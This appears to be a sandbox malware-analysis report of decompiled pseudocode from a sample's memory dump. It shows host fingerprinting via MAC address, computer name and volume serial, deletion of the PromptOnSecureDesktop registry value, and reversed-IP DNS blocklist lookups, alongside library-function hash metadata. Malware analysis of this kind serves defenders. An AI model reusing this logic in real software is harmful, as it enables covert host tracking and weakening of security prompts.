				if(_t28 == 0xffffffff) {
					L6:
					_t9 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
					_t11 = E0040E3CA(_t32, 0x80000001, E00402544(0x4122f8, 0x4110bc, 0x14, 0xe4, 0xc8), _t9);
					_t40 = _t37 + 0x34;
					if(_t11 == 0) {
						_t17 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
						E0040E3CA(_t32, 0x80000001, E00402544(0x4122f8, 0x4110a0, 0x19, 0xe4, 0xc8), _t17);
						_t40 = _t40 + 0x34;
					}
					E0040EE2A(_t31, 0x4122f8, 0, 0x100);
					E0040EE2A(_t31, 0x4128f8, 0, 0x100);
					E0040DD69();
					return 1;
				}
				_t20 = GetFileSize(_t28, 0);
				_v4 = _t20;
				if(_t20 != 0) {
					E0040DB2E(_t20);
					_t23 =  *0x4136c4;
					_pop(_t31);
					if(_t23 != 0) {
						_t31 =  &_v4;
						_t24 = ReadFile(_t28, _t23, _v4,  &_v4, 0);
						_t48 = _t24;
						if(_t24 != 0) {
							E00402544( *0x4136c4,  *0x4136c4, _v4, 0xe4, 0xc8);
							E0040E332(_t32, _t48,  *0x4136c4, _v4);
							_t37 = _t37 + 0x1c;
						}
					}
				}
				CloseHandle(_t28);
				goto L6;
			}

0x0040e52e
0x0040e52e
0x0040e533
0x0040e544
0x0040e54c
0x0040e553
0x0040e5b8
0x0040e5c7
0x0040e5ed
0x0040e5f2
0x0040e5f7
0x0040e603
0x0040e624
0x0040e629
0x0040e629
0x0040e635
0x0040e63e
0x0040e646
0x0040e653
0x0040e653
0x0040e558
0x0040e55e
0x0040e564
0x0040e567
0x0040e56c
0x0040e571
0x0040e574
0x0040e578
0x0040e583
0x0040e589
0x0040e58b
0x0040e59a
0x0040e5a9
0x0040e5ae
0x0040e5ae
0x0040e58b
0x0040e574
0x0040e5b2
0x00000000

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

GetFileSize.KERNEL32(00000000,00000000,?,73B743E0,?,00000000,?,0040A445), ref: 0040E558
ReadFile.KERNEL32(00000000,?,00000000,?,00000000,?,73B743E0,?,00000000,?,0040A445), ref: 0040E583
CloseHandle.KERNEL32(00000000,?,73B743E0,?,00000000,?,0040A445), ref: 0040E5B2

Strings

PromptOnSecureDesktop, xrefs: 0040E5D9, 0040E5DE, 0040E615, 0040E634

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: File$CloseCountCurrentExchangeHandleInterlockedReadSizeThreadTick
String ID: PromptOnSecureDesktop
API String ID: 3683885500-2980165447
Opcode ID: ea61079883e1d137724bdb03d89989e3cb326a6ab799ec698869bd57d3053e24
Instruction ID: 336cca8f28a0ae06816d6806ca3c094c6326420f96deeb8fe64773c8e7208e17
Opcode Fuzzy Hash: ea61079883e1d137724bdb03d89989e3cb326a6ab799ec698869bd57d3053e24
Instruction Fuzzy Hash: F321EAB19402047AE2207B639C0AFAB3D1CDF54758F10093EBA09B11E3E9BDD96082BD

Uniqueness

Uniqueness Score: -1.00%

Function 0043C376, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C3F0
__aullrem.LIBCMT ref: 0043C5C0
__aulldiv.LIBCMT ref: 0043C5E2

Strings

9, xrefs: 0043C5F3

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: a45bf9ffedb1c13bae317dfab0017e0f9bc5b40c5b13e368e178c00019d18cb5
Instruction ID: 708daf297a23f8cd61eae1b6d9d59fd90ed8374cf4d0e5d6e6a9e4afac390db2
Opcode Fuzzy Hash: a45bf9ffedb1c13bae317dfab0017e0f9bc5b40c5b13e368e178c00019d18cb5
Instruction Fuzzy Hash: 184119B1E101299FDB24CF58C881BAEB7B5FF89314F10519AD148B7241D778AE81CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 0043C3C4, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C3F0
__aullrem.LIBCMT ref: 0043C5C0
__aulldiv.LIBCMT ref: 0043C5E2

Strings

9, xrefs: 0043C5F3

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: de0a5f24cca493b2017ce3d500814e98e9cc6ceb68a5fbf6a4b70a94b471b794
Instruction ID: 1d959bb2a7dcfff44dd0084f9dc02d42f3da4317caad3cabdd1079f346557262
Opcode Fuzzy Hash: de0a5f24cca493b2017ce3d500814e98e9cc6ceb68a5fbf6a4b70a94b471b794
Instruction Fuzzy Hash: D741F7B1E10129AFDF24CF58C881BAEB7B5FB89314F10519AD149B7241D738AE81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00427D3D, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00427D69
__aullrem.LIBCMT ref: 00427F36
__aulldiv.LIBCMT ref: 00427F58

Strings

9, xrefs: 00427F69

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 16cc12f056c7e8e5a16d88d8436e1501bcfe4573fab86ef5ecc59b388832d3e0
Instruction ID: 5e7adec0e825986c3af72f58a2fe4d85676804d8b855d94939dd34df9443be5c
Opcode Fuzzy Hash: 16cc12f056c7e8e5a16d88d8436e1501bcfe4573fab86ef5ecc59b388832d3e0
Instruction Fuzzy Hash: D74104B1E08229CFDB64DF48D989BAEB7B5BF94300F5085DAD009A7241C738AE80CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00434FAC, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00434FD8
__aullrem.LIBCMT ref: 004351A5
__aulldiv.LIBCMT ref: 004351C7

Strings

9, xrefs: 004351D8

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 8e479b186c38faee6beb2dcedf8807de491c87e4a157677048558e769635c527
Instruction ID: 98a7e8b47f3ce8d6f3f2ff7965f1daf89d10e03c1372dc9a00268a836802c920
Opcode Fuzzy Hash: 8e479b186c38faee6beb2dcedf8807de491c87e4a157677048558e769635c527
Instruction Fuzzy Hash: AA41D571D11A29DFEF64CF48CC99BAEB7B5BB48300F24959AD049A7240C7386E81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0043C36D, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C3F0
_get_int64_arg.LIBCMTD ref: 0043C418
__aullrem.LIBCMT ref: 0043C5C0
__aulldiv.LIBCMT ref: 0043C5E2

Strings

9, xrefs: 0043C5F3

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 5ae99c7e6c91eb87a82d43dd8e251c21e6227c974607261ca5a358c9ee9441eb
Instruction ID: 1db5dbb15e120659470d34407c96335bf49953a1306520578e2a3b787b6e3df4
Opcode Fuzzy Hash: 5ae99c7e6c91eb87a82d43dd8e251c21e6227c974607261ca5a358c9ee9441eb
Instruction Fuzzy Hash: 724117B1E00129AFDB24CF58C881BAEB7B5FB89314F10519AE148B7201D738AE81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00427CEC, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00427D69
_get_int64_arg.LIBCMTD ref: 00427D91
__aullrem.LIBCMT ref: 00427F36
__aulldiv.LIBCMT ref: 00427F58

Strings

9, xrefs: 00427F69

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: cd2cfd6f4318f5a0225f11cb0a853ca8bb39c7e2334494b0ad3806e4e6a6f94f
Instruction ID: 68d3edc9ac7dda51b69cdf1eac530501858544b3aca261f405c03c8286255f13
Opcode Fuzzy Hash: cd2cfd6f4318f5a0225f11cb0a853ca8bb39c7e2334494b0ad3806e4e6a6f94f
Instruction Fuzzy Hash: 3D4105B1E08229DFDB64DF48D989BAEB7B5BF54300F5045DAE009A7241C738AE81CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00434F5B, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00434FD8
_get_int64_arg.LIBCMTD ref: 00435000
__aullrem.LIBCMT ref: 004351A5
__aulldiv.LIBCMT ref: 004351C7

Strings

9, xrefs: 004351D8

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 35c5ed9300f9a9ae0c6ed213cfaabc736f0124c5564c08ec0c66987881e35f01
Instruction ID: 6640a392c1acce928b80d6ab7d6cbfae7c063f693523f015f6574f1b147585b5
Opcode Fuzzy Hash: 35c5ed9300f9a9ae0c6ed213cfaabc736f0124c5564c08ec0c66987881e35f01
Instruction Fuzzy Hash: AC41D371D05A29DFDF24CF58CC99BAEB7B5BB48300F24919AE049A7240C738AE81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00401AC3, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00401AC3() {
				signed int _v8;
				char _v12;
				signed int _v16;
				struct HINSTANCE__* _t19;
				intOrPtr _t24;
				intOrPtr _t26;
				intOrPtr* _t28;
				signed int _t39;
				void* _t41;
				intOrPtr _t43;

				_v16 = 0;
				_t19 = LoadLibraryA("Iphlpapi.dll");
				if(_t19 == 0) {
					L15:
					return _v16;
				}
				_t28 = GetProcAddress(_t19, "GetAdaptersAddresses");
				if(_t28 == 0) {
					L14:
					goto L15;
				}
				_push( &_v12);
				_v8 = 0;
				_v12 = 0;
				_push(0);
				while(1) {
					_t41 =  *_t28(2, 0, 0);
					if(_t41 != 0x6f) {
						break;
					}
					_t24 = E0040EBED(_v8, _v12);
					if(_t24 == 0) {
						break;
					}
					_push( &_v12);
					_v8 = _t24;
					_push(_t24);
				}
				if(_t41 != 0) {
					L11:
					if(_v8 != 0) {
						E0040EC2E(_v8);
					}
					L13:
					goto L14;
				}
				_t26 = _v8;
				if(_t26 == 0) {
					goto L13;
				} else {
					goto L8;
				}
				do {
					L8:
					_t43 =  *((intOrPtr*)(_t26 + 0x34));
					_t39 = 0;
					if(_t43 <= 0) {
						goto L10;
					} else {
						goto L9;
					}
					do {
						L9:
						_v16 = _v16 ^ ( *(_t26 + _t39 + 0x2c) & 0x000000ff) << (_t39 & 0x00000003) << 0x00000003;
						_t39 = _t39 + 1;
					} while (_t39 < _t43);
					L10:
					_t26 =  *((intOrPtr*)(_t26 + 8));
				} while (_t26 != 0);
				goto L11;
			}

0x00401ad1
0x00401ad4
0x00401adc
0x00401b6b
0x00401b70
0x00401b70
0x00401aef
0x00401af3
0x00401b6a
0x00000000
0x00401b6a
0x00401af9
0x00401afa
0x00401afd
0x00401b00
0x00401b1c
0x00401b22
0x00401b27
0x00000000
0x00000000
0x00401b09
0x00401b12
0x00000000
0x00000000
0x00401b17
0x00401b18
0x00401b1b
0x00401b1b
0x00401b2b
0x00401b5b
0x00401b5e
0x00401b63
0x00401b68
0x00401b69
0x00000000
0x00401b69
0x00401b2d
0x00401b32
0x00000000
0x00000000
0x00000000
0x00000000
0x00401b34
0x00401b34
0x00401b34
0x00401b37
0x00401b3b
0x00000000
0x00000000
0x00000000
0x00000000
0x00401b3d
0x00401b3d
0x00401b4c
0x00401b4f
0x00401b50
0x00401b54
0x00401b54
0x00401b57
0x00000000

APIs

LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

Strings

Iphlpapi.dll, xrefs: 00401ACC
GetAdaptersAddresses, xrefs: 00401AE3

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: GetAdaptersAddresses$Iphlpapi.dll
API String ID: 2574300362-1087626847
Opcode ID: 4ad453f95e319ae71f8ebabcc46d8d27ffdc7fe226df516f9f2c7e6519cf6946
Instruction ID: f6c238f91e07a5798e813b0b618c72a9a5addbcd8e0b61e0281ff71d4ef1483f
Opcode Fuzzy Hash: 4ad453f95e319ae71f8ebabcc46d8d27ffdc7fe226df516f9f2c7e6519cf6946
Instruction Fuzzy Hash: 3D11DA71E01124BFCB11DBA5DD858EEBBB9EB44B10B144077E005F72A1E7786E80CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00401BDF, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00401BDF() {
				long _v8;
				long _v12;
				void* _v27;
				char _v28;
				void* _t14;
				signed int _t21;
				signed int _t30;
				void* _t31;

				_v28 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t30 = 0;
				_v12 = 0;
				asm("stosb");
				_v8 = 0xf;
				_t14 = E00401AC3();
				if(_t14 == 0) {
					if(GetComputerNameA( &_v28,  &_v8) == 0) {
						L6:
						GetVolumeInformationA(0, 0, 4,  &_v12, 0, 0, 0, 0);
						return _v12;
					}
					_t21 = 0;
					if(_v8 <= 0) {
						goto L6;
					} else {
						goto L3;
					}
					do {
						L3:
						_t30 = _t30 ^  *(_t31 + _t21 - 0x18) << (_t21 & 0x00000003) << 0x00000003;
						_t21 = _t21 + 1;
					} while (_t21 < _v8);
					if(_t30 == 0) {
						goto L6;
					}
					return _t30;
				}
				return _t14;
			}

0x00401bec
0x00401bf2
0x00401bf3
0x00401bf4
0x00401bf5
0x00401bf7
0x00401bf9
0x00401bfc
0x00401bfd
0x00401c04
0x00401c0b
0x00401c1d
0x00401c45
0x00401c51
0x00000000
0x00401c57
0x00401c1f
0x00401c24
0x00000000
0x00000000
0x00000000
0x00000000
0x00401c26
0x00401c26
0x00401c35
0x00401c37
0x00401c38
0x00401c3f
0x00000000
0x00000000
0x00000000
0x00401c41
0x00401c5e

APIs

Part of subcall function 00401AC3: LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
Part of subcall function 00401AC3: GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

GetComputerNameA.KERNEL32 ref: 00401C15
GetVolumeInformationA.KERNEL32(00000000,00000000,00000004,00000001,00000000,00000000,00000000,00000000,?,?,?,?,00000001), ref: 00401C51

Strings

hi_id, xrefs: 00401BE5
localcfg, xrefs: 00401BE7

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: AddressComputerInformationLibraryLoadNameProcVolume
String ID: hi_id$localcfg
API String ID: 2777991786-2393279970
Opcode ID: 8706900559274ba91d770fb8bb1d60ecae66f9331a84d665d36368a2f022e804
Instruction ID: b3a67a5cb4ed68e183e77afdc8505cc80d304e276af6d439446d09174096bcc5
Opcode Fuzzy Hash: 8706900559274ba91d770fb8bb1d60ecae66f9331a84d665d36368a2f022e804
Instruction Fuzzy Hash: B2018072A44118BBEB10EAE8C8C59EFBABCAB48745F104476E602F3290D274DE4486A5

Uniqueness

Uniqueness Score: -1.00%

Function 004096FF, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48
registryCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E004096FF(void* __ecx) {
				void* _v8;
				char* _t6;
				char* _t10;
				void* _t23;
				void* _t24;

				_t16 = __ecx;
				_push(__ecx);
				_t6 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
				_t24 = _t23 + 0x14;
				if(RegOpenKeyExA(0x80000001, _t6, 0, 0x103,  &_v8) == 0) {
					_t10 = E00402544(0x4122f8,  &E004106A0, 9, 0xe4, 0xc8);
					_t24 = _t24 + 0x14;
					RegDeleteValueA(_v8, _t10);
					RegCloseKey(_v8);
				}
				E0040EE2A(_t16, 0x4122f8, 0, 0x100);
				return 0;
			}

0x004096ff
0x00409702
0x00409728
0x0040972d
0x0040973e
0x0040974a
0x0040974f
0x00409756
0x0040975f
0x0040975f
0x0040976d
0x0040977b

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,PromptOnSecureDesktop,00000000,?,?,0040A14A), ref: 00409736
RegDeleteValueA.ADVAPI32(0040A14A,00000000,?,?,?,?,?,?,?,?,?,0040A14A), ref: 00409756
RegCloseKey.ADVAPI32(0040A14A,?,?,?,?,?,?,?,?,?,0040A14A), ref: 0040975F

Strings

PromptOnSecureDesktop, xrefs: 00409704, 00409722, 00409727, 00409749, 0040976C

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: CloseDeleteOpenValue
String ID: PromptOnSecureDesktop
API String ID: 849931509-2980165447
Opcode ID: 2a8abeb1ae8c575472f9bd74b3adb91cbf41d09789710805d0faf142c4fb6012
Instruction ID: 5e38ed9511aa8cc069582274463af9cddeeab7037fd65aad7bdf8be664a95ff7
Opcode Fuzzy Hash: 2a8abeb1ae8c575472f9bd74b3adb91cbf41d09789710805d0faf142c4fb6012
Instruction Fuzzy Hash: 5AF0C8B2680118BBF3106B51AC0BFDF3A2CDB44704F100075F605B50D2E6E55E9082BD

Uniqueness

Uniqueness Score: -1.00%

Function 00402684, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(?), ref: 00402693
gethostbyname.WS2_32(?), ref: 0040269F

Strings

time_cfg, xrefs: 00402684
~s`ysps, xrefs: 00402693

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: gethostbynameinet_addr
String ID: time_cfg$~s`ysps
API String ID: 1594361348-2010419113
Opcode ID: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction ID: 506fadec158220b53989f58c32679351ed61dc8f5455c60e8cf87b9af1828998
Opcode Fuzzy Hash: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction Fuzzy Hash: 9CE08C302040219FCB108B28F848AC637A4AF06330F0189A2F840E32E0C7B89CC08688

Uniqueness

Uniqueness Score: -1.00%

Function 00435FF5, Relevance: 6.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00436086
_memset.LIBCMT ref: 00436163
__invalid_parameter.LIBCMTD ref: 004361D9

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: _memset$__invalid_parameter
String ID:
API String ID: 2178901135-0
Opcode ID: e89c70427f02b5e20dfadd9f48a604000b6a34cd3d5e0dbcdfa0b5ed1774158b
Instruction ID: 5210562f4d9534605ec86bc919e3aa31fa0d2c5913b206ad71b4a1f22ef2c260
Opcode Fuzzy Hash: e89c70427f02b5e20dfadd9f48a604000b6a34cd3d5e0dbcdfa0b5ed1774158b
Instruction Fuzzy Hash: A361A03090020AFFCF14DF98C845AAE7371BB49328F21C25AE8296B3D1D7789A51CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00401C5F, Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401C5F(void* __eflags) {
				signed int _t49;
				signed int _t51;
				void* _t80;
				char _t91;
				void* _t92;
				signed int _t98;
				void* _t101;
				void* _t102;
				void* _t103;
				void* _t105;
				void* _t107;
				void* _t108;

				_t105 = _t107 - 0x70;
				_t108 = _t107 - 0x114;
				 *(_t105 + 0x6c) =  *(_t105 + 0x6c) & 0x00000000;
				_t98 =  *(_t105 + 0x7c);
				 *(_t105 + 0x7c) =  *(_t105 + 0x7c) & 0x00000000;
				_t101 = E0040ED03(_t98, 0x2c);
				if(_t101 == 0) {
					L6:
					_t49 = _t98;
					_t32 = _t49 + 1; // 0x2
					_t102 = _t32;
					do {
						_t91 =  *_t49;
						_t49 = _t49 + 1;
					} while (_t91 != 0);
					 *((char*)(_t105 + _t49 - _t102 - 0x24)) = _t91;
					_t51 = _t98;
					_t35 = _t51 + 1; // 0x2
					_t103 = _t35;
					do {
						_t92 =  *_t51;
						_t51 = _t51 + 1;
					} while (_t92 != 0);
					E0040EE5C(_t105 - 0x24, _t98, _t51 - _t103);
					wsprintfA(_t105 - 0xa4, "%u.%u.%u.%u.%s",  *(_t105 + 0x7b) & 0x000000ff,  *(_t105 + 0x7a) & 0x000000ff,  *(_t105 + 0x79) & 0x000000ff,  *(_t105 + 0x78) & 0x000000ff, _t105 - 0x24);
					if(E00402684(_t105 - 0xa4) != 0) {
						 *(_t105 + 0x6c) =  *(_t105 + 0x6c) | 1 <<  *(_t105 + 0x7c);
					}
					L12:
					return  *(_t105 + 0x6c);
				}
				 *(_t105 + 0x5c) =  *(_t105 + 0x78) & 0x000000ff;
				 *(_t105 + 0x60) =  *(_t105 + 0x79) & 0x000000ff;
				 *(_t105 + 0x68) =  *(_t105 + 0x7a) & 0x000000ff;
				 *(_t105 + 0x64) =  *(_t105 + 0x7b) & 0x000000ff;
				while(1) {
					 *((char*)(_t105 + _t101 - _t98 - 0x24)) = 0;
					E0040EE5C(_t105 - 0x24, _t98, _t101 - _t98);
					_t22 = _t101 + 1; // 0x1
					_t98 = _t22;
					wsprintfA(_t105 - 0xa4, "%u.%u.%u.%u.%s",  *(_t105 + 0x64),  *(_t105 + 0x68),  *(_t105 + 0x60),  *(_t105 + 0x5c), _t105 - 0x24);
					_t80 = E00402684(_t105 - 0xa4);
					_t108 = _t108 + 0x2c;
					if(_t80 != 0) {
						 *(_t105 + 0x6c) =  *(_t105 + 0x6c) | 1 <<  *(_t105 + 0x7c);
					}
					 *(_t105 + 0x7c) =  *(_t105 + 0x7c) + 1;
					if( *(_t105 + 0x7c) > 0x1e) {
						goto L12;
					}
					_t101 = E0040ED03(_t98, 0x2c);
					if(_t101 != 0) {
						continue;
					}
					goto L6;
				}
				goto L12;
			}

0x00401c60
0x00401c64
0x00401c6a
0x00401c71
0x00401c74
0x00401c86
0x00401c8c
0x00401d1c
0x00401d1c
0x00401d1e
0x00401d1e
0x00401d21
0x00401d21
0x00401d23
0x00401d24
0x00401d2a
0x00401d2e
0x00401d30
0x00401d30
0x00401d33
0x00401d33
0x00401d35
0x00401d36
0x00401d42
0x00401d6b
0x00401d7e
0x00401d88
0x00401d88
0x00401d8b
0x00401d95
0x00401d95
0x00401c96
0x00401c9d
0x00401ca4
0x00401cab
0x00401cae
0x00401cb3
0x00401cbd
0x00401cd2
0x00401cd2
0x00401ce1
0x00401cea
0x00401cef
0x00401cf4
0x00401cfe
0x00401cfe
0x00401d04
0x00401d0a
0x00000000
0x00000000
0x00401d14
0x00401d1a
0x00000000
0x00000000
0x00000000
0x00401d1a
0x00000000

APIs

wsprintfA.USER32 ref: 00401CE1
wsprintfA.USER32 ref: 00401D6B

Strings

localcfg, xrefs: 00401C70
%u.%u.%u.%u.%s, xrefs: 00401CDB, 00401D65

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: %u.%u.%u.%u.%s$localcfg
API String ID: 2111968516-120809033
Opcode ID: 013209f5f393509082169113c365cfa774f3339610439ce827356f9210efd2df
Instruction ID: f60862e96afe744063ef1f8e151e0253a3d6131670b42bf9f562b78b9aabf051
Opcode Fuzzy Hash: 013209f5f393509082169113c365cfa774f3339610439ce827356f9210efd2df
Instruction Fuzzy Hash: 3C41C1729042999FDB21DF798D44BEE7BE89F49310F240066FD64E3192D639EA04CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041A951, Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

___libm_error_support.LIBCMTD ref: 0041AA05

Part of subcall function 00421470: __encode_pointer.LIBCMTD ref: 00421551

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: ___libm_error_support__encode_pointer
String ID:
API String ID: 3390238661-0
Opcode ID: d10db547fd6038b721a2ee79ec0ff0d9e5d1d90bec7508eae5752aeaad389b6b
Instruction ID: e51a9f80b2bf90550bcd5899064beb189caaae9eea05f1904daa519b0ab988ce
Opcode Fuzzy Hash: d10db547fd6038b721a2ee79ec0ff0d9e5d1d90bec7508eae5752aeaad389b6b
Instruction Fuzzy Hash: E6412A71C09744DACB11AB39EA4516EB7B0FF95344F50CB7AF88861212EB3889A9C357

Uniqueness

Uniqueness Score: -1.00%

Function 0042E8C0, Relevance: 6.1, APIs: 4, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

___dtold.LIBCMTD ref: 0042E8DA
_$I10_OUTPUT.LIBCMTD ref: 0042E902
_wcscpy_s.LIBCMTD ref: 0042E942

Part of subcall function 0041DB00: __invalid_parameter.LIBCMTD ref: 0041DB72

__invoke_watson_if_error.LIBCMTD ref: 0042E94B

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: I10____dtold__invalid_parameter__invoke_watson_if_error_wcscpy_s
String ID:
API String ID: 289039318-0
Opcode ID: 6f3df20e2bbe09ecd83f0a71476856be18d6246be8240574538c1020e3db2717
Instruction ID: 8b366c139ec285565fdd483998b46dc04d2e123db9c996459c89eeb08a2efe46
Opcode Fuzzy Hash: 6f3df20e2bbe09ecd83f0a71476856be18d6246be8240574538c1020e3db2717
Instruction Fuzzy Hash: 67214DB5A003089BCB04DF65DC42EDEB7B4EF8C704F148559F9056B382E634E951CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00403F18, Relevance: 6.0, APIs: 4, Instructions: 46
filesynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403F18(void* _a4, void* _a8, long _a12, long _a16, long _a20) {
				struct _OVERLAPPED _v24;
				long _t30;
				void* _t31;

